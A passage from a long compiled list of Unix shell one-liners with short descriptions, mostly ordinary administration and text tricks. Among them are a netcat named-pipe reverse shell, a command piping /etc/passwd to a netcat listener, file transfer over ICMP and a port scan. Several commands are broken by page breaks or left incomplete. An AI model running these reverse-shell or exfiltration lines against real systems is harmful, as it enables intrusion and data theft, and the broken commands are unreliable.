apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
# Look up a unicode character by name
egrep -i "^[0-9a-f]{4,} .*$*" $(locate CharName.pm) | while read h d; do /usr/bin/printf
"\U$(printf "%08x" 0x$h)\tU+%s\t%s\n" $h "$d"; done
# Random unsigned integer
echo $(openssl rand 4 | od -DAn)
# kill all process that belongs to you
kill -9 -1
# Make a file not writable / immutable by root
sudo chattr +i <file>
# Continue a current job in the background
<ctrl+z> bg
# Send email with curl and gmail
curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>" --url
smtps://smtp.gmail.com:465 -T file.txt
# translates acronyms for you
wtf is <acronym>
# Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls $
{url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf
scale=400:300 -nosound

34 / 658

All UNIX COMMANDS


# Print just line 4 from a textfile
sed -n '4{p;q}'

# Print just line 4 from a textfile


sed -n '4p'
# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888
# view all command and describe it
ls /usr/bin | xargs whatis | grep -v nothing | less
# Insert
<ALT> .

the

last

argument

of

the previous command

# Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL"
http://twitter.com/statuses/update.xml
# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done
# command line calculator
calc(){ awk "BEGIN{ print $* }" ;}
# Backup a local drive into a file on the remote host via ssh
dd if=/dev/sda | ssh user@server 'dd of=sda.img'
# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; };
export -f sleeper
# Show directories in the PATH, one per line
echo $PATH | tr \: \\n
# An easter egg built into python to give you the Zen of Python
python -c 'import this'
# Add prefix onto filenames
rename 's/^/prefix/' *
# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s
http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
# Pick a random line from a file
shuf -n1 file.txt
# Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-byvotes/plaintext/$x" ; done > commandlinefu.txt

35 / 658

All UNIX COMMANDS


# Stripping ^M at end of each line for files
dos2unix <filenames>
# Use Cygwin to talk to the Windows clipboard
cat /dev/clipboard; $(somecommand) > /dev/clipboard
# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null
# Connect to google talk through ssh by setting your IM client to use the localhost 5432
port
ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com
# Get video information with ffmpeg
ffmpeg -i filename.flv
# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done
# Grep colorized
grep -i --color=auto

# from within vi, pipe a chunk of lines to a command line and replace the chunk with the
result
!}sort
# Merge *.pdf files
gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf`
# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile
# quickly change all .html extensions on files in folder to .htm
for i in *.html ; do mv $i ${i%.html}.htm ; done
# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory
# Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'
# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort |
uniq -c | sort -n
# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
# Show which programs are listening on TCP and UDP ports
netstat -plunt

36 / 658

All UNIX COMMANDS


# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm
# Simple multi-user encrypted chat server for 5 users
ncat -vlm 5 --ssl --chat 9876
# quick copy
cp foo{,bak}
# Sending a file over icmp with hping
hping3 10.0.2.254 --icmp --sign MSGID1 -d 50 -c 1 --file a_file
# Kill a broken ssh connection
<Return>~.
# Convert Shell Text to Upper/Lower Case
ALT-U / ALT-L
# repeat a command every one second
watch -n 1 "do foo"
# Daemonize nc - Transmit a file like a http server
while ( nc -l 80 < /file.htm > : ) ; do : ; done &
# Redirect tar extract to another directory
tar xfz filename.tar.gz -C PathToDirectory
# Find Malware in the current and sub directories by MD5 hashes
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]
+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
# Execute a command, convert output to .png file, upload file to imgur.com, then returning
the address of the .png.
imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F
"key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo
"<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
# Numeric zero padding file rename
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
# Remote screenshot
ssh user@remote-host "DISPLAY=:0.0 import -window root -format png -"|display -format png # List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/

Link.*HWaddr//' ; }

# Rapidly invoke an editor to write a long, complex, or tricky command


<ESC> v
# ssh to machine behind shared NAT
ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com
# Countdown Clock
MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date -d"0+$i sec" +%H:%M:%S)";sleep 1;done

37 / 658

All UNIX COMMANDS


# Find the package a command belongs to on Debian
dpkg -S $( which ls )
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# prevent accidents and test your command with echo
echo rm *.txt
# Get My Public IP Address
curl ifconfig.me
# Empty a file
:> file
# Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
# Emptying a text file in one shot
:%d
# computes the most frequent used words of a text file
cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" "\n"| tr "[:lower:]" "[:upper:]" |
awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort -nr | cat -n | head -n 30
# Quick HTML image gallery from folder contents
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
# Get your external IP address without curl
wget -qO- icanhazip.com
# Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .
# Resume a detached screen session, resizing to fit the current terminal
screen -raAd
# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
# Using mplayer to play the audio only but suppress the video
mplayer -vo null something.mpg
# Restrict the bandwidth for the SCP command
scp -l10 pippo@serverciccio:/home/zutaniddu/* .
# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET
-dBATCH -sOutputFile=output.pdf input.pdf
# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>]
[^>]*>//g'
# What is my ip?
curl http://www.whatismyip.org/

38 / 658

All UNIX COMMANDS


# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
# List Network Tools in Linux
apropos network |more
# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'

# Displays the attempted user name, ip address, and time of SSH failed logins on Debian
machines
awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11,
$1, $2, $3}' /var/log/auth.log
# Quickly get summary of sizes for files and folders
du -sh *
# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>]
[^>]*>//g'
# Find the package a command belongs to on Debian
dpkg -S $( which ls )
# Simple multi-user encrypted chat server for 5 users
ncat -vlm 5 --ssl --chat 9876
# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
# Serve current directory tree at http://$HOSTNAME:8080/
twistd -n web --path .
# Generate Random Passwords
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6
# Files extension change
rename .oldextension .newextension *.oldextension
# Kill a broken ssh connection
<Return>~.
# Convert Shell Text to Upper/Lower Case
ALT-U / ALT-L
# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy
# List your MACs address
lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/

Link.*HWaddr//' ; }

# Numeric zero padding file rename


rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
# Create directory named after current date

39 / 658

All UNIX COMMANDS


mkdir $(date +%Y%m%d)
# Emptying a text file in one shot
:%d
# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert
string ZZZZ to 1, 2, 3, ...)
:let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
# repeat a command every one second
watch -n 1 "do foo"
# Ask user to confirm
Confirm() { read -sn 1 -p "$1 [Y/N]? "; [[ $REPLY = [Yy] ]]; }
# Find the process you are looking for minus the grepped one
pgrep command_name
# Pause Current Thread
ctrl-z
# rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
# Resume a detached screen session, resizing to fit the current terminal
screen -raAd

# Empty a file
:> file
# Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE
# Redirect tar extract to another directory
tar xfz filename.tar.gz -C PathToDirectory
# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
# prevent accidents and test your command with echo
echo rm *.txt
# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
# Find recursively, from current directory down, files and directories whose names contain
single or multiple whitespaces and replace each such occurrence with a single underscore.
find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
# Daemonize nc - Transmit a file like a http server
while ( nc -l 80 < /file.htm > : ) ; do : ; done &
# Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;

40 / 658

All UNIX COMMANDS


# vim easter egg
$ vim ... :help 42
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i # copy with progress bar - rsync
rsync -rv <src> <dst> --progress
# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/ /g' {} \;
# Delete DOS Characters via VIM (^M)
:set ff=unix
# List your MACs address
cat /sys/class/net/eth0/address
# diff current vi buffer edits against original file
:w !diff -u % # Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
# 'Fix' a typescript file created by the 'script' program to remove control characters
cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescriptprocessed
# pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
# cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# Find all files larger than 500M and less than 1GB
find / -type f -size +500M -size -1G
# To get you started!
vimtutor
# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN
# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something
breaks the connection temporarily
autossh -f -M 20000 -D 8000 somehost -N

# Create a 5 MB blank file via a seek hole


dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
# Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done
# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP

41 / 658

All UNIX COMMANDS


# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done
# Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
# Check your spelling
aspell -a <<< '<WORDS>'
# View ~/.ssh/known_hosts key information
ssh-keygen -l -f ~/.ssh/known_hosts
# Binary digits Matrix effect
perl -e '$|++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }'
# Salvage a borked terminal
<ctrl+j>stty sane<ctrl+j>
# List your largest installed packages (on Debian/Ubuntu)
dpigs
# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' |
xxd -r -p
# print multiplication formulas
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR,
i==NR?"\n":"\t")}'
# add the result of a command into vi
!!command
# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
# This is how you should push a string in a command's stdin.
command <<< word
# Make vim open in tabs by default (save to .profile)
alias vim="vim -p"
# Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com
# benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php
# sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
# view hex mode in vim
:%!xxd
# the same as [Esc] in vim
Ctrl + [

42 / 658

All UNIX COMMANDS


# open a screenshot of a remote desktop via ssh
xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import -window root png:-)
# Find out the starting directory of a script
echo "${0%/*}"
# Create a bunch of dummy files for testing
touch {1..10}.txt

# Clean swap area after using a memory hogging application


swapoff -a ; swapon -a
# Move items from subdirectories to current directory
find -type f -exec mv {} . \;
# currently mounted filesystems in nice layout
column -t /proc/mounts
# Temporarily ignore mismatched SSH host key
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no username@host
# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefucontribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
# Exclude grep from your grepped output of ps (alias included in description)
ps aux | grep [h]ttpd
# Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done
# Terminal redirection
script /dev/null | tee /dev/pts/3
# Tells which group you DON'T belong to (opposite of command "groups") --- uses sed
sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp}); do unoconv -f pdf $i; done
# Print info about your real user.
who loves mum
# Generate a random password 30 characters long
gpg --gen-random --armor 1 30
# Find ulimit values of currently running process
cat /proc/PID/limits
# Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head
-n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}
# Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $
(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
# Instantly load bash history of one shell into another running shell

43 / 658

All UNIX COMMANDS


$ history -a #in one shell , and $ history -r #in another running shell
# Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'
# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g
1280x900 -0 $@ &
# Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
# autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
# Get the Nth argument of the last command (handling spaces correctly)
!:n
# Split File in parts
split -b 19m file Nameforpart
# Multiple SSH Tunnels
ssh -L :: -L :: @
# grep certain file types recursively
grep -r --include="*.[ch]" pattern .
# find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls
-laSr

# Measures download speed on eth0


while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d :
-f 2); echo "$(( Y-X )) bps"; done
# Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" |
xargs -P 10 -r -n 1 wget -nv
# Find distro name and/or version/release
cat /etc/*-release
# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
# all out
pkill -KILL -u username
# run a command whenever a file is touched
ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2";
sleep 1; done }
# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -"$9 | "sort -rn" }'
# find and delete empty dirs, start in current working dir
find . -type d -empty -delete

44 / 658

All UNIX COMMANDS


# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'
# sort the contents of a text file in place.
sort -g -o list.txt{,}
# Generate MD5 hash for a string
md5sum <<<"test"
# Watch several log files of different machines in a single multitail window on your own
machine
multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail
-f /var/log/apache2/error.log"'
# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
# Multiple variable assignments from command output in BASH
read day month year < <(date +'%d %m %y')
# Upgrade all perl modules via CPAN
cpan -r
# renames multiple files that match the pattern
rename 's/foo/bar/g' *
# Change/Modify timestamp interactively
touch -d $(zenity --calendar --date-format=%F) filename
# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo
"$l"; sleep 0.01; done; done
# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`
# Countdown Clock
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e
"\n\nBOOOM! Time to start."
# runs a X session within your X session
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
# Bash logger
script /tmp/log.txt
# Nice info browser
pinfo
# Get your external IP and Network Info
curl ifconfig.me/all

# hard disk information - Model/serial no.


hdparm -i[I] /dev/sda

45 / 658

All UNIX COMMANDS


# Copy all documents PDF in disk for your home directory
find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} +
# shell function to make gnu info act like man.
myinfo() { info --subnodes -o - $1 | less; }
# Fetch every font from dafont.com to current folder
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n
's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=$
{p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
# Generate a random password 30 characters long
cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32
# Quicker move to parent directory
alias ..='cd ..'
# List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete
# Show bandwidth use oneliner
while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f
KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}'
# Tail -f at your own pace
tail -fs 1 somefile
# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head
# display an embeded help message from bash script header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# Rename HTML files according to their title tag
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
# Launch a command from a manpage
!date
# alias to close terminal with :q
alias ':q'='exit'
# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do
done
# Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n
# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg

46 / 658

mysqldump $I > "$I.sql";

All UNIX COMMANDS


# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
# Print a row of 50 hyphens
python -c 'print "-"*50'
# clean up memory on linux
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# awk using multiple field separators
awk -F "=| "
# Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>
# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100

# Port scan a range of hosts with Netcat.


for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done
# Join lines
cat file | tr "\n" " "
# Insert
!$

the

last

argument

of

the previous command

# True Random Dice Roll


echo $((0x$(head -c5 /dev/random|xxd -ps)%6+1))
# convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2
# Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
# create a temporary file in a command line call
any_script.sh < <(some command)
# Start dd and show progress every X seconds
dd if=/path/inputfile | pv | dd of=/path/outpufile
# Turns red the stderr output
color()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[31m&\e[m,'>&2)3>&1
# Add directory to $PATH if it's not already there
if [[ ":$PATH:" != *":$dir:"* ]]; then PATH=${PATH}:$dir; fi
# Binary clock
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep
1}'
# Place the NUM-th argument of the most recent command on the shell
<ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.>
# Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com

47 / 658

All UNIX COMMANDS


# Display which distro is installed
cat /etc/*release
# log a command to console and to 2 files separately stdout and stderr
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg
# Create several copies of a file
for i in {1..5}; do cp test{,$i};done
# Salvage a borked terminal
echo <ctrl-v><esc>c<enter>
# Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
# pretend to be busy in office to enjoy a cup of coffee
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
# run command on a group of nodes
mussh -h host1 host2 host3 -c uptime
# Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!

# Smart `cd`.. cd to the file directory if you try to cd to a file


cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname
"$1"); else command cd "$1"; fi; fi; }
# lines in file2 that are not in file1
grep -Fxv -f file1 file2
# back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip
# is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"
# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password
http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |
head -n 6 |festival --tts; sleep 300;done
# backup with mysqldump a really big mysql database to a remote machine over ssh

48 / 658

All UNIX COMMANDS


mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname |
ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
# print file without duplicated lines using awk
awk '!a[$0]++' file
# execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
# recursively change file name from uppercase to lowercase (or viceversa)
find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
# Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
# Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in
parallel
parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz
# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D
'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
# Setting global redirection of STDERR to STDOUT in a script
exec 2>&1
# Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
# Create a bunch of dummy text files
base64 /dev/urandom | head -c 33554432 | split -b 8192 -da 4

- dummy.

# FAST Search and Replace for Strings in all Files in Directory


sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|
xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
# Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
# Download schedule
echo 'wget url' | at 12:00
# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l
# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
# alt + 1 .
alt + 1 .
# Save the Top 2500 commands from commandlinefu to a single text file
curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2500:25] | grep
-v _curl_ > comfu.txt

49 / 658

All UNIX COMMANDS

# grep tab chars


grep "^V<TAB>" your_file
# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done
# this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle
# Show which process is blocking umount (Device or resource is busy)
lsof /folder
# Remove all zero size files from current directory (not recursive)
find . -maxdepth 1 -size 0c -delete
# Play awesome rythmic noise using aplay
echo "main(i){for(i=0;;i++)putchar(((i*(i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));}" | gcc -x c && ./a.out | aplay
# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
# Convert the contents of a directory listing into a colon-separated environment variable
find . -name '*.jar' -printf '%f:'
# make a log of a terminal session
script
# A line across the entire width of the terminal
printf "%$(tput cols)s\n"|tr ' ' '='
# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports
22
# Update all packages installed via homebrew
brew update && brew upgrade `brew outdated`
# Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file.
find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
# Compare directories via diff
diff -rq dirA dirB
# find previously entered commands (requires configuring .inputrc)
<Meta-p> (aka <ALT+P>)
# RTFM function
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt
# synchronicity
cal 09 1752
# List all commands present on system

50 / 658

All UNIX COMMANDS


ls ${PATH//:/ }
# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done
# Convert a string to "Title Case"
echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g'
# Change proccess affinity.
taskset -cp <core> <pid>
# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt
# Display a wave pattern
